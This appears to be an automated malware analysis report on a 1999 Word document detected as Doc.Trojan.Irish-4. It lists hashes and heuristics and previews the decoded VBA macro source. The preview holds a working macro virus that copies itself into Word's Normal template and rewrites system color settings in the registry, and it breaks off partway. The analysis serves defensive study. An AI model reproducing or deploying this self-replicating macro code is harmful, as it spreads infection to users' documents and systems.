Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 801464d9e022fae1…

MALICIOUS

Office (OLE)

47.0 KB Created: 1999-06-14 16:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a3aa1bd418934b05b0c94b56904e1cd9 SHA-1: ab9797eda98dcc19753f8a128c721811fa4a5f1c SHA-256: 801464d9e022fae15dfc42a8a0dfe14ee405196db629d0e28e9afb4a9b690fbe
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a legacy Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The 'AntiVirus' subroutine attempts to copy other macros, suggesting an effort to establish persistence or spread functionality. The ClamAV detection further supports its malicious nature. The specific family is not identifiable from the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Irish-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Irish-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18466 bytes
SHA-256: 47c07e3d41015a655e3ef394097806efa66abe7fa91722f2f975b59ed60f4b03
Detection
ClamAV: Doc.Trojan.Irish-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub zhgjkk()
Attribute zhgjkk.VB_Description = "Macro created 18.07.99 by Ralph Roth"
Attribute zhgjkk.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.zhgjkk"
'
' zhgjkk Macro
' Macro created 18.07.99 by Ralph Roth
'



End Sub

Attribute VB_Name = "AntiVirus"

Public Sub MAIN()
Dim DocName$
Dim i
Dim j
    On Error Resume Next
    DocName$ = WordBasic.[FileName$]()
    DocName$ = " " + DocName$

    For i = 0 To Len(DocName$) - 1
        If Mid(DocName$, i + 1, 1) = "\" Then j = i
    Next i
    DocName$ = WordBasic.[Right$](DocName$, i - j - 1)
    WordBasic.MacroCopy DocName$ + ":AutoOpen", "Normal:AntiVirus"
    WordBasic.MacroCopy DocName$ + ":AntiVirus", "Normal:FileSave"
    WordBasic.MacroCopy DocName$ + ":WordHelp", "Normal:WordHelp"
    WordBasic.MacroCopy DocName$ + ":WordHelpNT", "Normal:WordHelpNT"
End Sub

Attribute VB_Name = "WordHelp"

Public Sub MAIN()
    WordBasic.SetProfileString "Colors", "Scrollbar", "208 227 211"
    WordBasic.SetProfileString "Colors", "Background", "0 128 0"
    WordBasic.SetProfileString "Colors", "ActiveTitle", "89 151 100"
    WordBasic.SetProfileString "Colors", "InactiveTitle", "128 128 0"
    WordBasic.SetProfileString "Colors", "Menu", "162 200 169"
    WordBasic.SetProfileString "Colors", "Window", "89 151 100"
    WordBasic.SetProfileString "Colors", "WindowFrame", "0 0 0"
    WordBasic.SetProfileString "Colors", "MenuText", "0 0 0"
    WordBasic.SetProfileString "Colors", "TitleText", "255 255 255"
    WordBasic.SetProfileString "Colors", "ActiveBorder", "162 200 169"
    WordBasic.SetProfileString "Colors", "InactiveBorder", "162 200 169"
    WordBasic.SetProfileString "Colors", "AppWorkspace", "150 192 157"
    WordBasic.SetProfileString "Colors", "Hilight", "89 151 100"
    WordBasic.SetProfileString "Colors", "HilightText", "255 255 255"
    WordBasic.SetProfileString "Colors", "ButtonFace", "162 200 169"
    WordBasic.SetProfileString "Colors", "ButtonShadow", "89 151 100"
    WordBasic.SetProfileString "Colors", "GrayText", "89 151 100"
    WordBasic.SetProfileString "Colors", "ButtonText", "0 0 0"
    WordBasic.SetProfileString "Colors", "InactiveTitleText", "208 227 211"
    WordBasic.SetProfileString "Colors", "ButtonHilight", "208 227 211"
    WordBasic.SetProfileString "Colors", "ButtonDkShadow", "0 0 0"
    WordBasic.SetProfileString "Colors", "ButtonLight", "162 200 169"
    WordBasic.SetProfileString "Colors", "InfoText", "0 0 0"
    WordBasic.SetProfileString "Colors", "InfoWindow", "255 255 255"
    WordBasic.SetProfileString "Colors", "ButtonAlternateFace", "150 192 157"



End Sub

Attribute VB_Name = "WordHelpNT"

Public Sub MAIN()

    On Error Resume Next

    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Scrollbar", "208 227 211", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Background", "0 128 0", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "ActiveTitle", "89 151 100", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "InactiveTitle", "128 128 0", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Menu", "162 200 169", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "Window", "89 151 100", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "WindowFrame", "0 0 0", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "MenuText", "0 0 0", ""
    WordBasic.SetPrivateProfileString "HKEY_USERS\.Default\Control Panel\Colors", "TitleText", "255 255 255", ""
    WordBasic.SetPrivateProfileString "HKEY_US
... (truncated)

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